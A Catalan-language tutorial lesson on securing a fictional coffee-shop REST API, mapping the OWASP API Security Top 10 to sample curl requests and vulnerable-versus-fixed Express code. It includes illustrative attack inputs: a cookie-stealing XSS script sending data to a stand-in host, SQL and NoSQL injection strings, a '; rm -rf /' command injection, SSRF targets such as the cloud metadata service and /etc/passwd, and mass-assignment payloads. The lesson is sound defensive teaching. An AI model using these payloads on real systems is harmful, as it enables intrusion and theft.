L'API de la Botiga Aroma ja té autenticació amb JWT, autorització per rol i per propietat, validació estricta amb Zod i sentències preparades contra la base de dades. Això no la fa segura: la fa no òbviament insegura, que és un punt de partida, no una meta. Un atacant no busca vulnerabilitats en abstracte; busca la comanda d'un altre client, el camp que no vas validar, l'endpoint de proves que vas deixar desplegat i la clau que es va colar al repositori.
Aquesta lliçó recorre el panorama d'amenaces d'una API REST amb el projecte al davant. Farem servir l'OWASP API Security Top 10 com a mapa —és l'estàndard del sector i el vocabulari que s'utilitza en qualsevol auditoria—, però cada punt s'il·lustra amb una petició concreta contra la Botiga Aroma i es tanca amb la defensa exacta, indicant en quin fitxer viu. Afegirem helmet a src/app.js en la seva posició precisa dins de la cadena, veurem què fer amb els secrets, quines obligacions apareixen tan bon punt toques dades personals i com s'accepten imatges sense obrir un forat. Al final tindràs un model d'amenaces lleuger per al projecte.
Advertiment important. Aquesta lliçó ensenya a reconèixer i mitigar classes de vulnerabilitat conegudes, i a construir amb un nivell d'higiene raonable. No substitueix una revisió de seguretat professional. Abans d'exposar a Internet una API que gestioni diners o dades personals reals, el disseny i la implementació han de ser revisats per algú especialitzat, i convé una prova de penetració. Totes les dades d'aquest curs són fictícies.
Contingut
- Com pensa un atacant davant d'una API
- OWASP API Security Top 10 sobre la Botiga Aroma
- API1: BOLA, la vulnerabilitat número u
- API2 i API5: autenticació trencada i autorització a nivell de funció
- API3: exposició excessiva de dades i assignació massiva
- API4: consum il·limitat de recursos
- API7: SSRF
- API8: mala configuració de seguretat
- API9: gestió de l'inventari d'APIs
- Transport: TLS, HSTS i per què mai no s'accepta HTTP
- Injeccions: SQL, NoSQL, comandes i XSS a través de l'API
- Capçaleres de seguretat i helmet a
src/app.js - Gestió de secrets
- Dades personals i RGPD
- Pujada d'imatges de cafè
- Dependències i cadena de subministrament
- Model d'amenaces lleuger de la Botiga Aroma
- Com pensa un atacant davant d'una API
Abans del catàleg, convé entendre el canvi de perspectiva. Quan assegures una aplicació web clàssica, l'atacant interactua amb les pantalles que li ensenyes. Quan assegures una API, l'atacant interactua amb tots els endpoints alhora, en l'ordre que vulgui, amb els paràmetres que vulgui, sense passar per la teva SPA.
Tres conseqüències pràctiques que governen tota la resta:
- No existeix la validació al client. Qualsevol comprovació que faci la SPA és una millora d'usabilitat, mai una defensa.
curlno executa el teu JavaScript. - Cada endpoint és una porta independent. Que
/v1/comandescomprovi la propietat del recurs no significa res sobre/v1/comandes/{id}/factura. Les 24 URIs del contracte són 24 superfícies. - L'atacant ja té un compte. L'escenari més rendible no és entrar sense credencials: és registrar-se com a
clientnormal —cosa que la teva API permet i ha de permetre— i des d'allà arribar a dades alienes. Per això la majoria de les vulnerabilitats reals són d'autorització, no d'autenticació.
graph TD A[Atacant amb compte de client legitim] --> B[Enumera endpoints: docs, JS de la SPA, OpenAPI] B --> C[Prova ids aliens: com_5000, com_5002] B --> D[Envia camps de mes: rol, actiu, saldo] B --> E[Canvia el metode: GET a PUT o DELETE] B --> F[Busca endpoints sense autenticacio: /v1-test, /debug] C --> G[BOLA: llegeix comandes d'altres] D --> H[Assignacio massiva: es fa administrador] E --> I[Autoritzacio de funcio trencada] F --> J[Inventari descontrolat]
- OWASP API Security Top 10 sobre la Botiga Aroma
L'OWASP API Security Top 10 és la llista de les deu classes de vulnerabilitat més freqüents i danyines en APIs, publicada per l'Open Worldwide Application Security Project. La versió vigent és la del 2023.
| Núm. | Nom | A la Botiga Aroma | Estat |
|---|---|---|---|
| API1 | BOLA — autorització trencada a nivell d'objecte | Llegir com_5001 sent un altre client |
Mitigat a 03-06; es reforça aquí |
| API2 | Autenticació trencada | Força bruta a POST /v1/sessions, JWT mal validat |
Parcial; vegeu 04-03 i 04-04 |
| API3 | Exposició de propietats a nivell d'objecte | Retornar hash_contrasenya; acceptar "rol" en el registre |
Mitigat: mapejador + .strict() |
| API4 | Consum il·limitat de recursos | ?limit=100000, expandir sense sostre, pujades grans |
Parcial; es tanca a 04-04 |
| API5 | Autorització trencada a nivell de funció | Un client cridant POST /v1/cafes |
Mitigat amb exigirRol |
| API6 | Accés sense restricció a fluxos de negoci sensibles | Comprar tot l'estoc d'una edició limitada amb un script | Disseny + límits (04-04) |
| API7 | SSRF | L'API descarrega la imatge d'un cafè des d'una URL donada | Pendent: apartat 7 |
| API8 | Mala configuració de seguretat | Falten capçaleres, CORS obert, stack traces en producció | Es tanca aquí i a 04-05 |
| API9 | Gestió inadequada de l'inventari | /v1-beta oblidat, entorn de proves exposat |
Procés: apartat 9 |
| API10 | Consum insegur d'APIs de tercers | Confiar en la resposta de RàpidEnviaments sense validar | Apartat 7 |
Fixa't en una dada reveladora: cinc dels deu són problemes d'autorització o d'exposició de dades, no de criptografia ni d'injeccions. La seguretat d'una API es juga sobretot en "qui pot veure i fer què", que és exactament on menys ajuden les eines automàtiques, perquè només tu saps què és correcte en el teu domini.
- API1: BOLA, la vulnerabilitat número u
BOLA (Broken Object Level Authorization), també anomenada IDOR (Insecure Direct Object Reference), és la vulnerabilitat més freqüent i més explotada de les APIs. El mecanisme és trivial:
# La Marta (cli_842) s'autentica legítimament.
curl -s -X POST https://api.botigaaroma.example/v1/sessions \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","contrasenya":"UnaClauFicticia123"}'
# → 200 { "accessToken": "eyJhbGciOi..." }
# La seva pròpia comanda: correcte.
curl -s https://api.botigaaroma.example/v1/comandes/com_5001 \
-H 'Authorization: Bearer eyJhbGciOi...'
# → 200
# I ara prova la del costat.
curl -s https://api.botigaaroma.example/v1/comandes/com_5002 \
-H 'Authorization: Bearer eyJhbGciOi...'
# → 200? Doncs tens un BOLA.El token és vàlid, la ruta existeix, el recurs existeix. L'autenticació funciona perfectament i l'API està compromesa, perquè ningú no ha comprovat que aquella comanda sigui de qui la demana. Amb un bucle de 10.000 iteracions l'atacant s'emporta la base de comandes sencera, amb noms, adreces i imports.
La defensa, que ja vam implementar a 03-06, s'ha d'enunciar com a regla sense excepcions:
Tota operació que rep un identificador a la URI ha de comprovar que el subjecte autenticat té dret sobre AQUELL objecte concret, a cada petició.
// src/serveis/comandes.js — la comprovació de propietat, revisada
export async function obtenirComanda(id, solicitant) {
const comanda = await repositoris.comandes.buscarPerId(id);
// 1. No existeix: 404.
if (!comanda) throw errors.noTrobat('comanda_no_trobada', `No existeix la comanda ${id}.`);
// 2. Existeix però no és seva i no té rol elevat.
// Es respon 404, NO 403: vegeu més avall.
const esPropietari = comanda.clientId === solicitant.id;
const esPersonal = solicitant.rol === 'empleat' || solicitant.rol === 'administrador';
if (!esPropietari && !esPersonal) {
throw errors.noTrobat('comanda_no_trobada', `No existeix la comanda ${id}.`);
}
return comanda;
}Quatre detalls que marquen la diferència entre una comprovació real i una de decorativa:
Respondre 404 i no 403 quan el recurs és aliè. Un 403 confirma que com_5002 existeix, i això ja és informació: permet enumerar quantes comandes hi ha i quan es creen. El 404 no distingeix "no existeix" de "no és teu", que és justament el que volem. L'excepció és quan el recurs és públic i el problema és només el permís d'escriptura; allà 403 permisos_insuficients és correcte i més útil.
La comprovació va al servei, no al controlador. Si viu al controlador, el dia que un altre controlador reutilitzi el servei, la comprovació desapareix sense que ningú no se n'adoni.
El subjecte surt del token, mai de la petició. Aquest és l'error clàssic:
// ❌ CATASTRÒFIC: el client decideix qui és.
const comandes = await repositoris.comandes.perClient(req.query.clientId);
// ✅ L'identificador surt del token verificat.
const clientId = req.usuari.rol === 'client' ? req.usuari.id : req.query.clientId;Els identificadors opacs no són una defensa, però ajuden. com_5001 és seqüencial i endevinable; un UUID com com_9f3a... no ho és. Això no arregla el BOLA —un atacant que obtingui un identificador per una altra via hi continua accedint—, però converteix un escombrat massiu en un atac dirigit. És defensa en profunditat, no substitut.
I s'ha de provar. L'única manera que un BOLA no torni és una prova d'integració que falli si algú treu la comprovació; a 03-08 vam escriure exactament aquesta prova, i cal escriure'n una per cada recurs amb propietari.
- API2 i API5: autenticació trencada i autorització a nivell de funció
Autenticació trencada (API2)
Les fallades habituals i el seu estat al projecte:
| Fallada | Risc | Defensa | On |
|---|---|---|---|
| Contrasenyes en clar o amb MD5/SHA1 | Bolcat de la BD = tots els comptes | bcrypt amb cost ≥ 12 |
03-06 |
Força bruta contra /v1/sessions |
Comptes compromesos | Límit estricte per IP i per correu | 04-04 |
| Enumeració d'usuaris | Llista de correus vàlids | Mateix missatge i temps per a correu o contrasenya erronis | 03-06 |
| Token sense caducitat | Robatori permanent | exp curt (15 min) + refresh |
03-06 |
Acceptar alg: none o HS/RS confosos |
Falsificació total de tokens | Fixar l'algorisme esperat en verificar | A sota |
| Secret de signatura feble | Signatura falsificable | ≥ 32 bytes aleatoris, al gestor de secrets | Apartat 13 |
| Token a la URL | Queda en logs, historial i Referer |
Només a Authorization: Bearer |
Contracte |
El d'alg: none mereix codi, perquè és una fallada d'una línia amb conseqüències totals:
// ❌ VULNERABLE: accepta l'algorisme que digui el mateix token.
jwt.verify(token, entorn.jwtSecret);
// ✅ Es fixa l'algorisme esperat; un token amb alg:none o alg:RS256 es rebutja.
jwt.verify(token, entorn.jwtSecret, {
algorithms: ['HS256'], // llista blanca tancada
issuer: 'api.botigaaroma.example',
audience: 'botigaaroma-spa',
clockTolerance: 5, // segons de marge per desajust de rellotge
});Sense algorithms, un atacant pot presentar un token amb la capçalera {"alg":"none"} i sense signatura, o signar amb HMAC fent servir com a clau la clau pública RSA quan el servidor espera RS256. Tots dos atacs són històrics, estan automatitzats en qualsevol eina i es tanquen amb aquesta llista blanca.
Autorització a nivell de funció (API5)
Si BOLA és "puc veure l'objecte d'un altre", API5 és "puc executar una funció que no em correspon":
# La Marta té rol 'client'. Prova de crear un cafè.
curl -s -X POST https://api.botigaaroma.example/v1/cafes \
-H 'Authorization: Bearer <token de client>' \
-H 'Content-Type: application/json' \
-d '{"nom":"Cafè pirata","origen":"Cap","torrefaccio":"clar","preuEuros":0.01,"estoc":9999}'
# Ha de respondre 403 permisos_insuficientsL'exigirRol('empleat','administrador') de 03-06 ho cobreix, però la vulnerabilitat reapareix sempre per la mateixa via: l'endpoint nou que es desplega sense el middleware. Tres mesures de procés valen més que qualsevol codi:
- Denegar per defecte: que l'absència de decisió sigui "prohibit", no "permès".
- Matriu de permisos escrita (la de 03-06) revisada a cada pull request que afegeix una ruta.
- Una prova per cel·la de la matriu: cada rol contra cada operació sensible.
I una fallada específica que s'hi cola sovint: canviar el mètode sobre la mateixa ruta. Si GET /v1/cafes/{id} és públic i PUT /v1/cafes/{id} exigeix rol, comprova que el PUT realment l'exigeix i que un PATCH no queda sense protegir perquè es va afegir després. El router.all(...) amb metodeNoPermes(...) que ja tanca cada ruta ajuda, perquè un mètode no declarat retorna 405 en comptes de caure en un gestor inesperat.
- API3: exposició excessiva de dades i assignació massiva
Són les dues cares del mateix error: deixar que el model intern es comuniqui directament amb el món.
Exposició excessiva (sortida)
// ❌ El que surt si fas res.json(filaDeLaBaseDeDades)
{
"id": "cli_842",
"email": "[email protected]",
"hash_contrasenya": "$2b$12$K7x...",
"telefon": "+34 600 000 000",
"adreca": "Carrer Fictici 1, València",
"actiu": 1,
"rol": "client",
"intents_fallits": 2,
"token_recuperacio": "rec_9f3a2b...",
"notes_internes": "El client va reclamar dues vegades"
}Cada camp de més és una vulnerabilitat diferent: el hash permet un atac de diccionari fora de línia, token_recuperacio permet prendre el compte, notes_internes és un problema de RGPD i de reputació, i intents_fallits ajuda a temporitzar un atac.
La defensa és al mapejador de 03-03 i consisteix en una llista blanca, mai en una llista negra:
// src/serveis/mapejadors.js
export function aClientPublic(fila) {
return { // llista BLANCA: només això surt
id: fila.id,
nom: fila.nom,
email: fila.email,
};
}La diferència entre llista blanca i llista negra no és estilística: amb llista negra (delete fila.hash_contrasenya), la columna que afegeixis d'aquí a sis mesos es publica sola. Amb llista blanca, el pitjor cas és que un camp nou no aparegui fins que l'afegeixis, que és un bug inofensiu.
I hi ha un segon nivell que s'oblida: quins camps veu cada rol. El correu d'un client pot ser visible per a ell i per a un empleat, i no per a un altre client que llegeixi una ressenya seva. Això implica que el mapejador de vegades necessita saber qui pregunta:
export function aClientSegonsRol(fila, solicitant) {
const base = { id: fila.id, nom: fila.nom };
const esElMateix = solicitant?.id === fila.id;
const esPersonal = solicitant?.rol === 'empleat' || solicitant?.rol === 'administrador';
if (esElMateix || esPersonal) {
return { ...base, email: fila.email, telefon: fila.telefon };
}
return base; // un tercer només veu id i nom
}Assignació massiva (entrada)
L'atac clàssic, en dues línies:
curl -s -X POST https://api.botigaaroma.example/v1/clients \
-H 'Content-Type: application/json' \
-d '{"nom":"Atacant","email":"[email protected]","contrasenya":"Ficticia123","rol":"administrador"}'Si el controlador fa repositori.crear(req.body), acabes de regalar la botiga. El mateix amb "actiu": true per saltar-se la verificació de correu, "saldo": 1000 en un moneder o "versio": 99 per saltar-se la concurrència optimista.
A la Botiga Aroma això ja estava bloquejat des de 03-04, i val la pena veure exactament per què:
// src/esquemes/clients.js
export const esquemaRegistre = z
.object({
nom: z.string().min(2).max(80),
email: z.string().email(),
contrasenya: z.string().min(10).max(128),
})
.strict(); // ← AQUESTA línia és la defensa.strict() fa que Zod rebutgi qualsevol clau que no estigui declarada, retornant 400 dades_invalides. Sense .strict(), Zod fa servir el mode per defecte: elimina silenciosament les claus desconegudes de l'objecte resultant. Això també protegiria si i només si el controlador fa servir el resultat validat i no req.body original —que és el parany on cau molta gent:
// ❌ Valida i després ignora la validació: el rol torna a entrar.
validar(esquemaRegistre, 'body');
const client = await servei.registrar(req.body); // ← l'original, brut
// ✅ Es fa servir SEMPRE l'objecte validat.
const client = await servei.registrar(req.dadesValidades); // ← net i tipatPer això el middleware validar de 03-04 deixa el resultat a req.dadesValidades i els controladors només llegeixen d'allà. És un conveni amb valor de seguretat, no d'estil.
| Enfocament | Camp nou a la BD | Camp desconegut a la petició | Veredicte |
|---|---|---|---|
repositori.crear(req.body) |
S'escriu sol | S'escriu | Vulnerable |
Zod sense .strict() + req.body |
S'escriu sol | S'escriu | Vulnerable |
Zod sense .strict() + validat |
No s'escriu | Es descarta en silenci | Acceptable |
Zod amb .strict() + validat |
No s'escriu | 400 explícit | Correcte |
L'última fila és millor que la tercera per una raó que va més enllà de la seguretat: el 400 avisa el consumidor honest que el seu camp té una errada, en comptes de deixar-lo creure que ha desat alguna cosa.
- API4: consum il·limitat de recursos
Un atacant no sempre vol les teves dades; de vegades li'n té prou que la teva API deixi de funcionar, o que la teva factura d'infraestructura es dispari. Els vectors a la Botiga Aroma:
| Vector | Petició | Defensa | On |
|---|---|---|---|
| Peticions massives | 10.000 GET /v1/cafes per segon |
Rate limiting | 04-04 |
| Pàgina gegant | ?limit=1000000 |
Màxim 100, validat | 03-03 |
| Desplaçament profund | ?desplacament=50000000 |
Màxim 10.000 | 03-03 |
| Expansió imbricada | expandir=linies.cafe.ressenyes.autor |
Profunditat 2 + llista blanca | 04-01 |
| Cos enorme | POST de 500 MB |
express.json({limit:'100kb'}) |
03-02 |
| Cerca costosa | ?q= amb comodins sobre 4M de files |
Índex, longitud mínima, límit propi | 03-05 / 04-04 |
| Pujada d'imatges | 200 fitxers de 50 MB | Mida, nombre i tipus | Apartat 15 |
| Correus i SMS | Registre repetit per gastar la teva quota | Límit per IP i per destinatari | 04-04 |
Tres ja estaven posats, tres es tanquen a la lliçó següent i un en aquesta. L'important ara és reconèixer el patró comú: qualsevol paràmetre que el consumidor controli i que multipliqui la teva feina és un vector de disponibilitat. Quan dissenyis un paràmetre nou, la pregunta obligatòria és "quin és el valor més car que em pot enviar?".
- API7: SSRF
SSRF (Server-Side Request Forgery) passa quan el teu servidor fa una petició de xarxa a una URL que decideix l'usuari. Apareix de manera natural a la Botiga Aroma tan bon punt s'accepta una imatge per URL:
POST /v1/cafes/caf_001/imatge HTTP/1.1
Content-Type: application/json
{ "url": "https://cdn.exemple.example/etiopia.jpg" }El teu servidor descarrega aquella URL. Ara l'atacant envia:
Aquella adreça és el servei de metadades de la majoria de núvols: des de dins de la màquina retorna credencials temporals del compte. Altres variants: http://localhost:6379 per parlar amb el teu Redis, http://10.0.3.14:5432 per escanejar la xarxa interna, o file:///etc/passwd.
La defensa és una llista blanca de destins, no una llista negra d'adreces:
// src/serveis/descarregues.js
import dns from 'node:dns/promises';
import net from 'node:net';
const DOMINIS_PERMESOS = new Set(['cdn.exemple.example', 'imatges.botigaaroma.example']);
function esPrivada(ip) {
if (net.isIPv4(ip)) {
const [a, b] = ip.split('.').map(Number);
return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) || (a === 169 && b === 254) || a === 0;
}
return ip === '::1' || ip.startsWith('fc') || ip.startsWith('fd') || ip.startsWith('fe80');
}
export async function descarregarImatgeSegura(urlText) {
const url = new URL(urlText);
// 1. Només HTTPS: res de file://, gopher://, ftp://.
if (url.protocol !== 'https:') throw errors.dadesInvalides('L\'esquema ha de ser https.');
// 2. Llista blanca de dominis.
if (!DOMINIS_PERMESOS.has(url.hostname)) {
throw errors.dadesInvalides('Domini d\'imatge no permès.');
}
// 3. Resoldre el nom i comprovar que NO apunta a una IP interna.
const { address } = await dns.lookup(url.hostname);
if (esPrivada(address)) throw errors.dadesInvalides('Destí no permès.');
// 4. Sense seguir redireccions: una redirecció 302 pot portar a 169.254.169.254.
const resposta = await fetch(url, { redirect: 'error', signal: AbortSignal.timeout(5000) });
return resposta;
}Els passos 3 i 4 són els que s'obliden. El 3 evita que un domini permès apunti deliberadament a una IP interna; el 4, que una redirecció ho faci després de la comprovació. Tot i així queda una cursa coneguda (DNS rebinding: el nom es resol a una IP diferent entre la comprovació i la connexió), i per això la solució robusta en producció és fer aquestes descàrregues des d'una xarxa aïllada o un proxy de sortida amb llista blanca, no només amb codi.
I la contrapartida (API10): quan tu consumeixes una API de tercers, com la de RàpidEnviaments, la seva resposta és entrada no fiable. Es valida amb un esquema igual que la d'un client, se li posa timeout i no es reenvia tal qual als teus consumidors.
- API8: mala configuració de seguretat
És la categoria més avorrida i la que més incidents causa, perquè no requereix cap habilitat per explotar-la. La llista de comprovació per a la Botiga Aroma:
| Punt | Estat desitjat | Com es verifica |
|---|---|---|
x-powered-by |
Desactivat | Ja a src/app.js |
| Stack traces en producció | Mai | NODE_ENV, validat en arrencar (03-01) |
| Capçaleres de seguretat | helmet | Apartat 12 |
| CORS | Llista blanca, no * amb credencials |
04-05 |
| Mètodes HTTP | Només els declarats; 405 a la resta |
metodeNoPermes |
| TLS | Obligatori, versió ≥ 1.2 | Apartat 10 |
| Ports administratius | No exposats (SQLite, Redis, mètriques) | Xarxa i tallafoc |
| Fitxers del repositori | .env, .git, còpies de seguretat fora del servidor |
Desplegament |
| Missatges d'error | Sense versions ni rutes | 03-07 |
| Registre per defecte | Sense rol elevat, sense actiu:true automàtic |
Esquemes |
| Depuració | --inspect mai en producció |
Arrencada |
Mereix atenció un cas concret i molt real: el directori .git servit. Si el desplegament copia el repositori sencer a l'arrel web, qualsevol es descarrega el teu historial complet, inclosos els secrets que vas esborrar en un commit posterior. I el .env: si algun dia algú posa un express.static('.') per servir un fitxer, serveix també el .env amb la clau de signatura.
- API9: gestió inadequada de l'inventari
No pots protegir el que no saps que existeix. Els casos típics, tots vistos en producció real:
- La versió anterior continua dempeus. Retires
/v1quan surt/v2, però el procés vell continua escoltant i sense els pedaços nous. - L'entorn de proves és públic.
api-proves.botigaaroma.exampleamb dades reals copiades de producció, sense rate limiting i amb usuaris de prova de contrasenyatest1234. - Endpoints de depuració oblidats.
/debug/estat,/v1/_admin/reset,/salut/detallatretornant la configuració completa. - Documentació interactiva exposada. Un Swagger UI públic que llista tots els endpoints interns, inclosos els que no volies anunciar.
- Un subdomini apuntant a un servei que ja no controles, que permet a un tercer servir contingut sota el teu domini.
Les mesures són de procés, no de codi:
- Inventari escrit d'entorns i versions desplegades, amb responsable i data de retirada.
openapi.yamlcom a font única: si un endpoint no és al contracte, no ha d'estar desplegat. Un test de fum pot comparar les rutes registrades a Express amb les del YAML i fallar si en sobra alguna.- Dades de prova sintètiques: mai una còpia de producció en proves; a més és una infracció del RGPD.
- Retirada amb data: el procés de
Deprecation/Sunsetde 02-07 acaba apagant el servei, no només documentant.
- Transport: TLS, HSTS i per què mai no s'accepta HTTP
Sense TLS, tota la resta és decorativa: el token Bearer viatja en clar i qualsevol de la mateixa xarxa el llegeix i el reutilitza.
Regles no negociables:
- HTTPS a tot el domini de l'API, sense excepcions, ni tan sols a
/salut. - TLS 1.2 com a mínim, preferiblement 1.3. SSLv3, TLS 1.0 i 1.1 estan retirats.
- HTTP només per redirigir. El port 80 respon
301cap ahttps://i res més. - HSTS, perquè el navegador no torni a intentar HTTP.
max-age=31536000 són 365 dies: durant aquest temps el navegador converteix qualsevol http:// d'aquell host en https:// abans d'enviar res, cosa que tanca la finestra del primer salt on es roba el token. includeSubDomains estén la política a tots els subdominis —compte si algun no té certificat, deixarà de funcionar—, i preload permet inscriure el domini a la llista que els navegadors porten de fàbrica, amb la qual cosa la protecció existeix fins i tot a la primera visita. preload és difícil de revertir: no el posis fins a estar segur.
Un advertiment important sobre l'abast: l'HSTS només l'entenen els navegadors. L'app Aroma Mòbil i el servidor de RàpidEnviaments no l'apliquen, així que per a ells la defensa és no acceptar HTTP en absolut i, en el cas de l'app mòbil, fixar el certificat (certificate pinning) si el risc ho justifica.
A la pràctica, el TLS de la Botiga Aroma no el termina Express: el termina el balancejador o la CDN que hi ha al davant. Això significa que Express rep HTTP per dins i necessita saber que la petició original era segura, cosa que es configura amb app.set('trust proxy', 1) i que té conseqüències directes en el rate limiting per IP (04-04) i en les galetes Secure.
- Injeccions: SQL, NoSQL, comandes i XSS a través de l'API
SQL
Ja està mitigada, però convé veure exactament per què. A 03-05 totes les consultes fan servir sentències preparades de better-sqlite3:
// ✅ Sentència preparada: el valor MAI no s'interpreta com a SQL.
const consulta = db.prepare('SELECT * FROM cafes WHERE origen = ? AND preu_centims <= ?');
const files = consulta.all(origen, preuMaxCentims);
// ❌ Concatenació: `origen = 'x' OR '1'='1'` buida la taula; `; DROP TABLE cafes;--` l'esborra.
const files = db.prepare(`SELECT * FROM cafes WHERE origen = '${origen}'`).all();La diferència tècnica és que la sentència preparada envia l'estructura de la consulta i les dades per camins separats: el motor ja ha decidit què és sintaxi abans de veure el teu valor.
Hi ha un punt que les sentències preparades no cobreixen: els identificadors (noms de columna i direcció d'ordre) no es poden parametritzar. I aquí és on entra ?ordenar=:
// ❌ Injecció pel nom de columna.
db.prepare(`SELECT * FROM cafes ORDER BY ${req.query.ordenar}`).all();
// ✅ Llista blanca: el text de l'usuari només SELECCIONA d'un mapa fix.
const COLUMNES = { nom: 'nom', preuEuros: 'preu_centims', estoc: 'estoc', id: 'id' };
const camp = COLUMNES[campDemanat];
if (!camp) throw errors.dadesInvalides(`El camp '${campDemanat}' no és ordenable.`);
const direccio = descendent ? 'DESC' : 'ASC'; // valors fixos, no de l'usuari
db.prepare(`SELECT * FROM cafes ORDER BY ${camp} ${direccio}, id ASC`).all();El principi general: si alguna cosa no es pot parametritzar, se selecciona d'una llista blanca; mai no es concatena text de l'usuari.
NoSQL
La Botiga Aroma fa servir SQLite, però convé reconèixer el patró perquè és molt comú. A MongoDB, si passes directament un objecte JSON com a filtre:
{ "email": "[email protected]", "contrasenya": { "$gt": "" } }{"$gt": ""} és un operador que significa "qualsevol valor més gran que la cadena buida", és a dir, qualsevol contrasenya. La defensa no és escapar: és validar els tipus amb Zod abans de tocar la base de dades, de manera que contrasenya hagi de ser una cadena i un objecte es rebutgi amb 400. Un altre cop, la validació estricta de 03-04 és una defensa de seguretat, no només de qualitat de dades.
Comandes
Si algun dia generes una miniatura cridant un binari:
import { execFile } from 'node:child_process';
// ❌ exec passa pel shell: `; rm -rf /` s'executa.
exec(`convert ${nomFitxer} -resize 200x200 sortida.jpg`);
// ✅ execFile no fa servir shell i els arguments van separats.
execFile('convert', [rutaValidada, '-resize', '200x200', rutaSortida]);I amb la ruta validada a part, per evitar el path traversal (../../etc/passwd): mai no es construeix una ruta de fitxer concatenant text de l'usuari; se'n genera un nom propi.
XSS reflectit a través d'una API
Una API que retorna JSON no executa HTML, així que sembla immune. No ho és del tot, per dues vies:
Emmagatzematge i reflex. Si el comentari d'una ressenya conté <script>fetch('https://dolent.example?c='+document.cookie)</script>, la teva API el desa tal qual i el retorna tal qual. El problema esclata a la SPA si aquesta l'insereix amb innerHTML. La responsabilitat principal de l'escapament és del client —perquè només ell sap en quin context el pinta—, però l'API pot i ha d'ajudar: rebutjar o sanejar HTML en camps que no el necessiten, i limitar longituds.
Resposta interpretada com a HTML. Si la teva API retorna un error amb el text de l'usuari reflectit i un Content-Type erroni o absent, un navegador pot intentar endevinar-lo (MIME sniffing) i executar-lo. Les dues defenses són la capçalera X-Content-Type-Options: nosniff i retornar sempre Content-Type: application/json explícit. Justament el que entra ara.
- Capçaleres de seguretat i helmet a
src/app.js
src/app.jshelmet és un middleware que fixa un conjunt de capçaleres de seguretat amb valors assenyats per defecte. Va ser pensat per a aplicacions que serveixen HTML, així que en una API JSON algunes capçaleres són irrellevants i d'altres són importants; cal saber quines.
// src/middleware/seguretat.js (fitxer NOU)
import helmet from 'helmet';
/**
* Capçaleres de seguretat per a una API que només retorna JSON.
* Es desactiven explícitament les polítiques pensades per a HTML,
* i es deixen les que sí que protegeixen un consumidor d'API.
*/
export const capcaleresSeguretat = helmet({
// 1. CSP restrictiva: l'API no serveix HTML ni carrega recursos.
// Si un navegador acabés interpretant una resposta, no hi podria executar res.
contentSecurityPolicy: {
useDefaults: false,
directives: {
"default-src": ["'none'"],
"frame-ancestors": ["'none'"],
"base-uri": ["'none'"],
"form-action": ["'none'"],
},
},
// 2. HSTS: un any, subdominis inclosos. Sense 'preload' fins a estar segurs.
hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },
// 3. nosniff: prohibeix endevinar el tipus de contingut.
noSniff: true,
// 4. Sense Referer cap a altres orígens: les URIs porten ids de recurs.
referrerPolicy: { policy: 'no-referrer' },
// 5. No incrustable en un iframe.
frameguard: { action: 'deny' },
// 6. Amaga la tecnologia (redundant amb app.disable, es deixa per si de cas).
hidePoweredBy: true,
// --- Desactivades: només s'apliquen a documents HTML ---
crossOriginEmbedderPolicy: false, // trencaria consumidors legítims sense aportar res
crossOriginOpenerPolicy: false, // només té sentit en finestres de navegador
originAgentCluster: false,
});Què fa cada capçalera i quant importa en una API:
| Capçalera | Valor | Què fa | Importància en una API JSON |
|---|---|---|---|
Strict-Transport-Security |
max-age=31536000; includeSubDomains |
Força HTTPS al navegador | Alta |
X-Content-Type-Options |
nosniff |
Impedeix endevinar el tipus | Alta |
Content-Security-Policy |
default-src 'none' |
Res no es pot carregar ni executar | Mitjana (defensa en profunditat) |
Referrer-Policy |
no-referrer |
No filtra la URI a tercers | Mitjana |
X-Frame-Options |
DENY |
No incrustable | Baixa (no hi ha UI) |
Cross-Origin-Resource-Policy |
same-origin |
Limita qui incrusta la resposta | Baixa; compte: pot destorbar CORS |
X-XSS-Protection |
0 |
Desactiva un filtre obsolet i perillós | Baixa |
X-DNS-Prefetch-Control |
off |
Prefetch de DNS | Nul·la |
Un advertiment pràctic: crossOriginResourcePolicy en same-origin pot bloquejar la SPA en alguns escenaris de navegador. Si la teva API té consumidors en altres orígens —i la Botiga Aroma en té—, ajusta-la a cross-origin o desactiva-la, i confia en CORS per al control d'accés. Aquest ajust es decideix a 04-05 juntament amb la resta de la política.
La posició exacta a la cadena
// src/app.js (extracte després de 04-02)
import express from 'express';
import { rutesV1 } from './rutes/index.js';
import { assignarTracaId } from './middleware/traca.js';
import { capcaleresSeguretat } from './middleware/seguretat.js'; // ← NOU
import { gestorNoTrobat } from './middleware/no-trobat.js';
import { gestorErrors } from './middleware/errors.js';
export const app = express();
app.disable('x-powered-by'); // 1
app.use(assignarTracaId); // 2
app.use(capcaleresSeguretat); // 3 ← NOU: abans de res que respongui
// (4) cors → 04-05
// (5) registre → 04-07 substitueix el console.log actual
// (6) limitarPeticions → 04-04
app.use(express.json({ limit: '100kb', type: ['application/json', 'application/merge-patch+json'] }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
app.get('/salut', (req, res) => res.json({ estat: 'ok' }));
app.use('/v1', rutesV1);
app.use(gestorNoTrobat);
app.use(gestorErrors);Per què a la posició 3, després de la traça i abans de tota la resta. helmet fixa capçaleres a la resposta; perquè aquestes capçaleres siguin presents a totes les respostes —inclosos els 429 del rate limiter, els 400 de l'analitzador de JSON, els 404 de ruta desconeguda i els 500 del gestor d'errors— s'ha d'executar abans que qualsevol middleware capaç de respondre. Va després d'assignarTracaId únicament perquè la traça ha d'existir des del primer instant per poder correlacionar qualsevol cosa que passi després, inclosa una fallada dins del mateix helmet.
Verificació ràpida:
curl -sI https://api.botigaaroma.example/v1/cafes | grep -Ei 'strict-transport|content-type-options|content-security|referrer'
- Gestió de secrets
Un secret és qualsevol valor la divulgació del qual compromet el sistema: la clau de signatura dels JWT, la contrasenya de la base de dades, la clau HMAC dels webhooks a RàpidEnviaments, les credencials del proveïdor de pagament.
Les regles mínimes:
| Regla | Motiu |
|---|---|
| Mai al codi font | El repositori es clona, es comparteix i guarda l'historial per sempre |
Mai al repositori, ni al .env |
.env va al .gitignore; només es versiona .env.example amb valors falsos |
| S'injecten com a variables d'entorn | És el contracte estàndard de tot desplegament modern |
| Diferents per entorn | Un secret de proves mai no obre producció |
| Llargs i aleatoris | 32 bytes de crypto.randomBytes, no secret123 |
| Rotables sense aturar el servei | Vegeu a sota |
| Mai als logs ni a les URL | Vegeu 04-07 |
